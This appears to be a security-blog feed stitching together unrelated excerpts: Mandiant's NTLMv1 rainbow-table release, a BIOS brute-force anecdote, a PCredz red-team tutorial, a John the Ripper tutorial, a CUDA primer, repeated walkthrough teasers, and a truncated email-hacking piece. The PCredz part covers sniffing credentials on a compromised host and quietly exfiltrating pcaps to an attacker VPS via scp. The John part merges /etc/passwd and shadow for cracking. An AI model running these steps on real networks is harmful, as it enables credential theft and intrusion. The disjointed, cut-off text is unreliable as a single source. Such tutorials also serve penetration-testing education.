Security firm Mandiant has released a database that allows any administrative password protected by Microsoft’s NTLM.v1 hash algorithm to be hacked in an attempt to nudge users who continue using the deprecated function despite known weaknesses.
The database comes in the form of a rainbow table, which is a precomputed table of hash values linked to their corresponding plaintext. These generic tables, which work against multiple hashing schemes, allow hackers to take over accounts by quickly mapping a stolen hash to its password counterpart. NTLMv1 rainbow tables are particularly easy to construct because of NTLMv1’s limited keyspace, meaning the relatively small number of possible passwords the hashing function allows for. NTLMv1 rainbow tables have existed for two decades but typically require large amounts of resources to make any use of them.
New ammo for security pros
On Thursday, Mandiant said it had released an NTLMv1 rainbow table that will allow defenders and researchers (and, of course, malicious hackers, too) to recover passwords in under 12 hours using consumer hardware costing less than $600 USD. The table is hosted in Google Cloud. The database works against Net-NTLMv1 passwords, which are used in network authentication for accessing resources such as SMB network sharing.
Whenever you buy used computers there is a risk that they come with unpleasant surprises that are not of the insect variant. From Apple hardware that is iCloud-locked with the original owner MIA to PCs that have BIOS passwords, some of these are more severe than others. In the case of BIOS passwords, these tend to be more of an annoyance that’s easily fixed by clearing the CMOS memory, but this isn’t always the case as [Casey Bralla] found with a former student-issued HP ProBook laptop purchased off Facebook Marketplace.
Maybe it’s because HP figured that locking down access to the BIOS is essential on systems that find their way into the hands of bored and enterprising students, but these laptops write the encrypted password and associated settings to a separate Flash memory. Although a master key purportedly exists, HP’s policy here is to replace the system board. Further, while there are some recovery options that do not involve reflashing this Flash memory, they require answers to recovery questions.
This led [Casey] to try brute-force cracking, starting with a Rust-based project on GitHub that promised much but failed to even build. Undeterred, he tasked the Claude AI to write a Python script to do the brute-forcing via the Windows-based HP BIOS utility. The chatbot was also asked to generate multiple lists of unique passwords to try that might be candidates based on some human guesses.
Six months later of near-continuous attempts at nine seconds per try, this method failed to produce a hit, but at least the laptop can still be used, just without BIOS access. This may require [Casey] to work up the courage to do some hardware hacking and erase that pesky UEFI BIOS administrator password, proving at least that apparently it’s fairly good BIOS security.
Today we are going through another tool that can really help you during your red team engagements. It is called PCredz. PCredz is a powerful credential extraction tool that focuses on pulling sensitive information out of network traffic. According to the project documentation, PCredz can extract credit card numbers, NTLM credentials, Kerberos hashes, HTTP authentication data, SNMP community strings, POP, SMTP, FTP, IMAP and much more from a pcap file or from a live interface. It supports both IPv4 and IPv6. All discovered hashes are shown in formats that work directly with hashcat. For example you can use mode 7500 for Kerberos, 5500 for NTLMv1 and 5600 for NTLMv2. The tool also logs everything into a CredentialDump file and makes it organized so that you can feed it directly into cracking workflows.
In practice this means that if credentials are traversing the network in any recoverable form, PCredz will collect them for you.
Use Cases
So when would you actually use PCredz during a red team engagement?
Imagine you have already gained a foothold somewhere inside a network. At this point, one of your goals is usually to move laterally, escalate privileges, and gain access to more sensitive resources. Network traffic is often full of interesting secrets, especially in environments where encryption is not enforced or where legacy protocols still exist. PCredz becomes very useful when you want to analyze captured pcaps or when you want to quietly listen to live traffic flowing through an interface. If users are authenticating to file shares, web interfaces, legacy applications, email systems or network services, you may see usable credentials. This is particularly realistic on older networks or mixed environments where not everything runs over HTTPS or modern authentication.
Blue teams also use PCredz during compromise assessments to detect insecure authentication flows inside their network. But during red team work, it helps you move further and more silently than noisy active attacks.
Setting Up
There are two main ways to run PCredz. You can run it inside Docker or directly through the Linux console. For this demonstration we will use the console. When you are working on a compromised or fragile machine, you must be careful not to break anything. Many times you will land on an old production server that the business still depends on. For both operational security and stability reasons, it is safer to isolate your tooling. A great way to do that is to create a separate Python 3 virtual environment just for PCredz.
Here is how you create a separate python3 environment and activate it:
We are going to look at PCredz in two ways. First we will use live capture mode so the tool listens directly to the network interface. Then we will see how it works with captured pcaps. Working with pcaps is often more convenient, especially if the system is extremely old or restricted and does not allow you to install dependencies. The tool will automatically parse your files and extract any available credentials.
Live
To run the tool in live mode and capture credentials, use:
bash# > python3 ./Pcredz -i eth0 -v
You can see the name of your network interfaces by running ifconfig. Sometimes you will find several interfaces and you will need to choose the correct one. To reduce noise, try selecting interfaces that sit on private IP ranges. Otherwise you may end up with captures full of random internet scanning traffic. Many automated scripts constantly probe IP ranges looking for weak targets and this junk traffic can pollute your pcaps making them heavier than needed.
PCAPs
If you decide to work offline with pcaps, the first step is usually to exfiltrate the captured files to a machine you control. For example, you can transfer the file to a VPS using scp:
bash# > scp file.pcap root@IP:/tmp
Once the upload is complete, the file will keep its original name and will be located in the specified directory on the remote machine.
Then you can run PCredz in offline mode like this when analyzing a single file:
This approach is especially nice when you want to stay quiet. You collect traffic with tcpdump, move the files out and only analyze them on your own system.
Summary
PCredz is a simple tool. You can gather credentials without interrupting production systems or triggering noisy authentication attacks like relays. A very stealthy approach during a red team engagement is to capture network traffic with tcpdump, exfiltrate the pcaps to your controlled machine, and then run PCredz there. The tool becomes especially effective if you manage to compromise a file server or another system that many Windows machines depend on. These machines constantly receive authentication traffic from users, which means you will likely capture something valuable sooner or later. Once you obtain valid credentials, many new doors open. You may escalate privileges, dump LSASS, schedule malicious certificate requests, or impersonate privileged accounts through legitimate mechanisms. Quite often you will even see HTTP traffic in cleartext reusing the same Active Directory credentials across multiple services. Credential reuse is still very common in the real world.
John the Ripper (often called “John”) is a tool that earned a reputation as one of the most powerful and versatile in the field. Originally developed by Openwall, John has become an essential tool for penetration testers, security auditors, and anyone else who needs to assess password strength.
In this tutorial, you’ll learn how to use John the Ripper from the ground up. We’ll start with installation and basic concepts, then move through the three main password cracking modes with hands-on exercises for each. Let’s get rolling!
What Makes John the Ripper Powerful?
John the Ripper works by comparing password hashes against potential passwords. It generates candidate passwords, hashes them using the same algorithm as the target, and checks for matches. This approach is effective against various hash types, including MD5, SHA-1, SHA-256, bcrypt, and more.
In addition, the tool supports multiple platforms, including Linux, Windows, and macOS. It features multiple cracking modes, including Single, Wordlist, and Incremental approaches. John supports extensive hash formats, allowing you to crack dozens of different hash types. Besides that, you can create customizable rules to generate password variations, and the Jumbo version even includes GPU acceleration for significantly faster cracking.
Installation
John the Ripper is pre-installed on Kali Linux. Verify the installation:
kali> john
For Ubuntu/Debian, you can install John from the apt repository:
kali> sudo apt install john
Once you have installed John, try the help command to make sure your installation is working.
kali> john -h
Understanding Password Cracking Modes
John the Ripper offers three primary cracking modes, each suited for different scenarios.
1. Single Crack Mode
Single Crack Mode uses information from the username to generate password variations. This mode is surprisingly effective because users often create passwords based on their usernames.
You should use Single Crack Mode as a quick first attempt, especially when you have username information available. The syntax is straightforward:
kali> john –single –format=FORMAT hashfile.txt
The mode works by taking patterns from the username and generating variations. If the username is “hacker”, John will try variations like Hacker2025, HACKER2025, hacker2025!, 2025hacker, and many more permutations based on capitalization changes, number additions, and common character substitutions.
The command for cracking will be the following:
kali> john –single –format=raw-sha256 hash.txt
And immediately, we got an output with the password.
2. Wordlist Mode (Dictionary Attack)
Wordlist Mode compares hashes against a list of potential passwords from a dictionary file. This is the most commonly used mode for password cracking because it balances speed with effectiveness.
You should use Wordlist Mode when you have a good wordlist, which covers most real-world scenarios. The syntax requires specifying both the wordlist file and the hash format:
kali> john –wordlist=WORDLIST_FILE –format=FORMAT hashfile.txt
The RockYou wordlist is the most famous collection, containing over 14 million passwords leaked from the RockYou.com breach. But your cracking process should not be focused on this list. Consider creating your own wordlist, specific to your target. We’ve covered previously how to do so with tools like crunch and cupp.
But for demonstration purposes, I created a hash file with the password from a RockYou list. The command for cracking will be the following:
kali> john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha256 hash.txt
3. Incremental Mode (Brute Force)
Incremental Mode tries all possible character combinations. This is the most thorough but slowest method, making it suitable only for specific scenarios.
You should use Incremental Mode as a last resort, particularly for short passwords when other methods have failed. The basic syntax is:
kali> john –incremental –format=FORMAT hashfile.txt
This mode exhaustively tries every possible combination of characters, starting with single characters and working up to longer passwords. This process can take days, weeks, or even years for moderately long passwords.
The command for cracking will be the following:
kali> john –incremental –format=raw-sha256 hash.txt
Cracking Windows NTLM Hashes
In Windows, password hashes are stored in the SAM database. The SAM uses the LM/NTLM hash format for passwords, and we can use John the Ripper to crack one of these hashes. Retrieving passwords from the SAM database is beyond the scope of this article, but let’s assume you have obtained a password hash for a Windows user. Here is the command to crack it:
kali> john –format=NT ntlm_hash.txt
This command will use a Single mode for cracking by default.
Cracking a Linux Password
In Linux, two important files are stored in the /etc directory: passwd and shadow. The passwd file contains information such as the username, user ID, and login shell, while the shadow file holds the password hash, expiration details, and other related data.
Besides the main “john” command, John the Ripper includes several additional utilities, one of which is called unshadow. This tool merges the passwd and shadow files into a single combined file that John can process when cracking passwords.
Here is how you use the unshadow command:
kali> unshadow passwd shadow > hash.txt
This command will combine the files and create a hash.txt file. Now, we can crack the hash using John. But here is a thing: Kali Linux’s John the Ripper doesn’t readily detect the hash type of Linux (crypt). If you omit the — format flag below, John won’t crack anything at all. So the command will be as follows:
kali> john –format=crypt hash.txt
Summary
John the Ripper is a robust tool for cracking passwords. It compares password hashes against potential passwords using various algorithms and is compatible with many types of hashes.
This tool works on a bunch of different platforms and is made to use energy wisely, which is why it’s a favorite among security experts and aspiring hackers. With security needs on the rise, John the Ripper is still a strong and valuable tool in the world of cybersecurity.
You have likely heard of the company NVIDIA. Not only are the dominant company in computer graphics adapters (if you are gamer, you likely have one) and now, artificial intelligence. In recent weeks, they have become the most valuable company in the world ($5 trillion).
The two primary reasons that Nvidia has become so important to artificial intelligence are:
Nvidia chips can process data in multiple threads, in some cases, thousands of threads. This makes doing complex calculations in parallel possible, making them much faster.
Nvidia created a development environment named CUDA for harnessing the power of these powerful CPU’s. This development environment is a favorite among artificial intelligence, data analytics, and cybersecurity professionals.
Let’s a brief moment to examine this powerful environment.
What is CUDA?
Most computers have two main processors:
CPU (Central Processing Unit): General-purpose, executes instructions sequentially or on a small number of cores. These CPU’s such as Intel and AMD provide the flexibility to run many different applications on your computer.
GPU (Graphics Processing Unit): These GPU’s were originally designed to draw graphics for applications such as games and VR environments. These GPU’s contain hundreds or thousands of small cores that excel at doing the same thing many times in parallel.
CUDA (Compute Unified Device Architecture) is NVIDIA’s framework that lets you take control of the GPU for general computing tasks. In other words, CUDA lets you write code that doesn’t just render graphics—it crunches numbers at massive scale. That’s why it’s a favorite for machine learning, password cracking, and scientific computing.
Why Should Hackers & Developers Care?
CUDA matters as an important tool in your cybersecurity toolkit because:
Speed: A GPU can run password hashes or machine learning models orders of magnitude faster than a CPU.
Parallelism: If you need to test millions of combinations, analyze huge datasets, or simulate workloads, CUDA gives you raw power.
Applications in Hacking: Tools like Hashcat and Pyrit use CUDA to massively accelerate brute-force and dictionary attacks. Security researchers who understand CUDA can customize or write their own GPU-accelerated tools.
The CUDA environment sees the GPU as a device with:
Threads: The smallest execution unit (like a tiny worker).
Blocks: Groups of threads.
Grids: Groups of blocks.
Think of it like this:
A CPU worker can cook one meal at a time.
A GPU is like a kitchen with thousands of cooks—we split the work (threads), organize them into brigades (blocks), and assign the whole team to the job (grid).
Coding With CUDA
CUDA extends C/C++ with some keywords. Here’s the simple workflow:
You write a kernel function (runs on the GPU).
You call it from the host code (the CPU side).
Launch thousands of threads in parallel → GPU executes them fast.
Example skeleton code:
c__global__ void add(int *a, int *b, int *c) {
int idx = threadIdx.x;
c[idx] = a[idx] + b[idx];
}
int main() {
// Allocate memory on host and device// Copy data to GPU// Run kernel with N threads
add<<<1, N>>>(dev_a, dev_b, dev_c);
// Copy results back to host
}
The keywords:
__global__ → A function (kernel) run on the GPU.
threadIdx → Built-in variable identifying which thread you are.
<<<1, N>>> → Tells CUDA to launch 1 block of N threads.
This simple example adds two arrays in parallel. Imagine scaling this to millions of operations at once!
The CUDA Toolchain Setup
If you want to try CUDA make certain you have the following items:
1. an NVIDIA GPU.
2. the CUDA Toolkit (contains compiler nvcc).
3. Write your CUDA programs in C/C++ and compile it with nvcc.
Run and watch your GPU chew through problems.
To install the CUDA toolkit in Kali Linux, simply enter;
kali > sudo apt install nvidia-cuda-toolkit
Next, write your code and compile it with nvcc, such as;
kali > nvcc hackersarise.cu -o hackersarise
Practical Applications of CUDA
CUDA is already excelling at hacking and computing applications such as;
Password cracking (Hashcat, John the Ripper with GPU support).
As a beginner, start with small projects—then explore how to take compute-heavy tasks and offload them to the GPU.
Summary
CUDA is NVIDIA’s way of letting you program GPUs for general-purpose computing. To the hacker or cybersecurity pro, it’s a way to supercharge computation-heavy tasks.
Learn the thread-block-grid model, write simple kernels, and then think: what problems can I solve dramatically faster if run in parallel?
This article is a walkthrough for Empire LupinOne vulnerable machine. You can download this from vulnhub. The vulnerable machine is full of fuzzing and escalation of privileges by exploiting Python libraries with SUID being setup. Let’s look into exploiting this: Requirements: 1. Vmware/Virtual Box < This is to run the vulnerable machine. 2. Download LupinOne […]
Daniel Pizarro // What is the PNPT? The Practical Network Penetration Tester (PNPT), created by TCM Security (TCMS), is a 5-day ethical hacking certification exam that assesses a pentester’s ability […]
This article is a walkthrough for Empire LupinOne vulnerable machine. You can download this from vulnhub. The vulnerable machine is full of fuzzing and escalation of privileges by exploiting Python libraries with SUID being setup.
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There are number of methods used by hackers to hack your Email/Social
Network account and get your personal information. Today I will let you know 5
Most commonly used method to hack or crack your account password and preventive
actions to avoid such attacks. This article will help to make your account
safe.
1.
Brute
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